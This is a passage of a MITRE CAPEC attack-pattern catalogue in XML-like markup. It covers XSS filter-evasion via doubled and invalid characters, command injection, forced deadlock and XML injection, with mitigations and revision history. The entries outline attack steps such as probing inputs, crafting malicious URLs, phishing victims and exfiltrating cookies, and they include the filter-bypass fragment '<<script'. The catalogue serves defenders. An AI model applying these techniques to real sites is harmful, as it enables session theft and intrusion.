xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 83 + + + + + + + + + + + + #indReferenceReference13581 + Reference_13581 + + + + + + + + + REF-70 + + + + + Testing for Cross site scripting + + + + + + + + + + + + #indReferenceReference13582 + Reference_13582 + + + + + + + + + REF-96 + + + + + + + + + + + + #indReferenceReference13583 + Reference_13583 + + + + + + + + + REF-97 + + + + + XSS Filter Evasion Cheat Sheet + + + + + + + + + + + + #indReferenceReference13584 + Reference_13584 + + + + + + + + + REF-72 + + + + + WASC-08 - Cross Site Scripting + + + + + + + + + + + + #indContentHistoryContentHistory13586 + Content_History_13586 + + + + + + + + + + + + + + + + #indSubmissionSubmission13587 + Submission_13587 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13592 + Modification_13592 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification13598 + Modification_13598 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification13604 + Modification_13604 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences, Related_Weaknesses + + + + + + + + + + + + #indModificationModification13610 + Modification_13610 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification13616 + Modification_13616 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification13622 + Modification_13622 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13628 + Previous_Entry_Name_13628 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting via Encoded URI Schemes + + + + + + + + + + + + #CAPEC-245 + XSS Using Doubled Characters + + + + + + + + + 245 + + + + + XSS Using Doubled Characters + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary bypasses input validation by using doubled characters in order to perform a cross-site scripting attack. Some filters fail to recognize dangerous sequences if they are preceded by repeated characters. For example, by doubling the &lt; before a script command, (&lt;&lt;script or %3C%3script using URI encoding) the filters of some web applications may fail to recognize the presence of a script tag. If the targeted server is vulnerable to this type of bypass, the adversary can create a crafted URL or other trap to cause a victim to view a page on the targeted server where the malicious content is executed, as per a normal XSS attack.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13636 + Related_Attack_Pattern_13636 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13637 + Related_Attack_Pattern_13637 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13638 + Related_Attack_Pattern_13638 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep13641 + Attack_Step_13641 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13649 + Attack_Step_13649 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS using double characters] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads modified to use double characters and doubled special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings using double characters to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of doubled HTML special characters to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13657 + Attack_Step_13657 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a script using an expression embedded in an HTML attribute, which avoids needing to inject a script tag.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13664 + Attack_Step_13664 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted web application does not fully normalize input before checking for prohibited syntax. In particular, it must fail to recognize prohibited methods preceded by certain sequences of repeated characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must trick the victim into following a crafted link to a vulnerable server or view a web post where the dangerous commands are executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use libraries and templates that minimize unfiltered input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Normalize, filter and sanitize all user supplied fields.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: The victim should configure the browser to minimize active content from untrusted sources.</xhtml:div> + + + + + 85 + + + + + + + + + + + + #indReferenceReference13687 + Reference_13687 + + + + + + + + + REF-99 + + + + + + + + + + + + #indContentHistoryContentHistory13689 + Content_History_13689 + + + + + + + + + + + + + + + + #indSubmissionSubmission13690 + Submission_13690 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13695 + Modification_13695 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification13701 + Modification_13701 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Resources_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13707 + Previous_Entry_Name_13707 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript + + + + + + + + + + + + #CAPEC-246 + DEPRECATED: XSS Using Flash + + + + + + + + + 246 + + + + + DEPRECATED: XSS Using Flash + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it is covered by a chaining relationship between CAPEC-174: Flash Parameter Injection and CAPEC-591: Stored XSS. Please refer to these CAPECs going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory13713 + Content_History_13713 + + + + + + + + + + + + + + + + #indSubmissionSubmission13714 + Submission_13714 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13719 + Modification_13719 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases, Description, Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13725 + Previous_Entry_Name_13725 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting Using Flash + + + + + + + + + + + + #CAPEC-247 + XSS Using Invalid Characters + + + + + + + + + 247 + + + + + XSS Using Invalid Characters + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary inserts invalid characters in identifiers to bypass application filtering of input. Filters may not scan beyond invalid characters but during later stages of processing content that follows these invalid characters may still be processed. This allows the adversary to sneak prohibited commands past filters and perform normally prohibited operations. Invalid characters may include null, carriage return, line feed or tab in an identifier. Successful bypassing of the filter can result in a XSS attack, resulting in the disclosure of web cookies or possibly other results.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13733 + Related_Attack_Pattern_13733 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13734 + Related_Attack_Pattern_13734 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern13735 + Related_Attack_Pattern_13735 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep13738 + Attack_Step_13738 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13746 + Attack_Step_13746 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS vulnerabilities using invalid characters] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters preceded by an invalid character(s) to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. The adversary is looking for cases where an invalid character causes an input filter to stop processing, allowing the malicious input that follows to bypass the filter</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings preceded by an invalid character(s) such as null, carriage return, line feed, or tab to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of HTML special characters preceded by an invalid character(s) to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13754 + Attack_Step_13754 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious script tag preceded by invalid character(s).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13761 + Attack_Step_13761 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must fail to remove invalid characters from input and fail to adequately scan beyond these characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use libraries and templates that minimize unfiltered input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Normalize, filter and use an allowlist for any input that will be included in any subsequent web pages or back end operations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: The victim should configure the browser to minimize active content from untrusted sources.</xhtml:div> + + + + + 86 + + + + + + + + + + + + #indContentHistoryContentHistory13783 + Content_History_13783 + + + + + + + + + + + + + + + + #indSubmissionSubmission13784 + Submission_13784 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13789 + Modification_13789 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification13795 + Modification_13795 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification13801 + Modification_13801 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification13807 + Modification_13807 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13813 + Previous_Entry_Name_13813 + + + + + + + + + 2017-05-01 + + + + + Cross-Site Scripting with Masking through Invalid Characters in Identifiers + + + + + + + + + + + + #CAPEC-248 + Command Injection + + + + + + + + + 248 + + + + + Command Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must accept input from the user and then use this input in the construction of commands to be executed. In virtually all cases, this is some form of string input that is concatenated to a constant string defined by the application to form the full command to be executed.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence13824 + Consequence_13824 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful command injection attack enables an adversary to alter the command being executed and achieve a variety of negative consequences depending on the makeup of the new command. This includes potential information disclosure or the corruption of application data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All user-controllable input should be validated and filtered for potentially unwanted characters. Using an allowlist for input is desired, but if use of a denylist approach is necessary, then focusing on command related terms and delimiters is necessary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Input should be encoded prior to use in commands to make sure command related characters are not treated as part of the command. For example, quotation characters may need to be encoded so that the application does not treat the quotation as a delimiter.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Input should be parameterized, or restricted to data sections of a command, thus removing the chance that the input will be treated as part of the command itself.</xhtml:div> + + + + + 77 + + + + + + + + + + + + #indTaxonomyMappingCommandInjection + Command Injection + + + + + + + + + + + + + + Command Injection + + + + + + + + + + + + #indReferenceReference13846 + Reference_13846 + + + + + + + + + REF-615 + + + + + Testing for Command Injection + + + + + + + + + + + + #indContentHistoryContentHistory13848 + Content_History_13848 + + + + + + + + + + + + + + + + #indSubmissionSubmission13849 + Submission_13849 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13854 + Modification_13854 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description, Description Summary, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification13860 + Modification_13860 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification13866 + Modification_13866 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification13872 + Modification_13872 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-249 + DEPRECATED: Linux Terminal Injection + + + + + + + + + 249 + + + + + DEPRECATED: Linux Terminal Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is covered by "CAPEC-40 : Manipulating Writeable Terminal Devices". Please refer to this CAPEC going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory13883 + Content_History_13883 + + + + + + + + + + + + + + + + #indSubmissionSubmission13884 + Submission_13884 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13889 + Modification_13889 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName13895 + Previous_Entry_Name_13895 + + + + + + + + + 2018-07-31 + + + + + Linux Terminal Injection + + + + + + + + + + + + #CAPEC-25 + Forced Deadlock + + + + + + + + + 25 + + + + + Forced Deadlock + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary triggers and exploits a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock conditions can be difficult to detect.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indAttackStepAttackStep13903 + Attack_Step_13903 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary initiates an exploratory phase to get familiar with the system.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13908 + Attack_Step_13908 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep13913 + Attack_Step_13913 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the target program has a deadlock condition, the program waits indefinitely resulting in a denial of service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions. [REF-101]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host exposes an API to the user.</xhtml:div> + + + + + + + + + + + + #indSkillSkill13924 + Skill_13924 + + + + + + + + + + + + + + This type of attack may be sophisticated and require knowledge about the system's resources and APIs. + + + + + + + + + + + + #indConsequenceConsequence13927 + Consequence_13927 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A successful forced deadlock attack compromises the availability of the system by exhausting its available resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use known algorithm to avoid deadlock condition (for instance non-blocking synchronization algorithms).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For competing actions, use well-known libraries which implement synchronization.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock)</xhtml:div> + + + + + 412 + + + + + 567 + + + + + 662 + + + + + 667 + + + + + 833 + + + + + 1322 + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceApplicationOrSystemExploitation + Endpoint Denial of Service: Application or System Exploitation + + + + + + + + + + + + + + 1499.004 + + + + + Endpoint Denial of Service: Application or System Exploitation + + + + + + + + + + + + #indReferenceReference13955 + Reference_13955 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference13956 + Reference_13956 + + + + + + + + + REF-101 + + + + + Deadlock + + + + + + + + + + + + #indReferenceReference13957 + Reference_13957 + + + + + + + + + REF-609 + + + + + Testing for XML Injection + + + + + + + + + + + + #indContentHistoryContentHistory13959 + Content_History_13959 + + + + + + + + + + + + + + + + #indSubmissionSubmission13960 + Submission_13960 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification13965 + Modification_13965 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns, Type (Relationship -> Attack_Pattern) + + + + + + + + + + + + #indModificationModification13971 + Modification_13971 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Motivation-Consequences, Attack_Phases, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Probing_Techniques, Related_Weaknesses, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification13977 + Modification_13977 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification13983 + Modification_13983 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Prerequisites + + + + + + + + + + + + #indModificationModification13989 + Modification_13989 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification13995 + Modification_13995 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-250 + XML Injection + + + + + + + + + 250 + + + + + XML Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern14007 + Related_Attack_Pattern_14007 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep14010 + Attack_Step_14010 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the Target] Using a browser or an automated tool, an adversary records all instances of user-controllable input used to contruct XML queries</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of user-controllable input used to contruct XML queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes inputs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14017 + Attack_Step_14017 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine the Structure of Queries] Using manual or automated means, test inputs found for XML weaknesses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use XML reserved characters or words, possibly with other input data to attempt to cause unexpected results and identify improper input validation.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep14023 + Attack_Step_14023 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject Content into XML Queries] Craft malicious content containing XML expressions that is not validated by the application and is executed as part of the XML queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use the crafted input to execute unexpected queries that can disclose sensitive database information to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">XML queries used to process user input and retrieve information stored in XML documents</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User-controllable input not properly sanitized</xhtml:div> + + + + + + + + + + + + #indSkillSkill14035 + Skill_14035 + + + + + + + + + + + + + + An attacker must have knowledge of XML syntax and constructs in order to successfully leverage XML Injection + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Too many exceptions generated by the application as a result of malformed queries</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence14044 + Consequence_14044 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence14050 + Consequence_14050 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as content that can be interpreted in the context of an XML data or a query.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass.</xhtml:div> + + + + + 91 + + + + + 74 + + + + + 20 + + + + + 707 + + + + + + + + + + + + #indTaxonomyMappingXMLInjection + XML Injection + + + + + + + + + + + + + + 23 + + + + + XML Injection + + + + + + + + + + + + #indContentHistoryContentHistory14074 + Content_History_14074 + + + + + + + + + + + + + + + + #indSubmissionSubmission14075 + Submission_14075 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification14080 + Modification_14080 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification14086 + Modification_14086 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification14092 + Modification_14092 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification14098 + Modification_14098 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification14104 + Modification_14104 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-251 + Local Code Inclusion + + + + + + + + + 251 + + + + + Local Code Inclusion + + + + + + + + + + + + + + + <xhtml:div 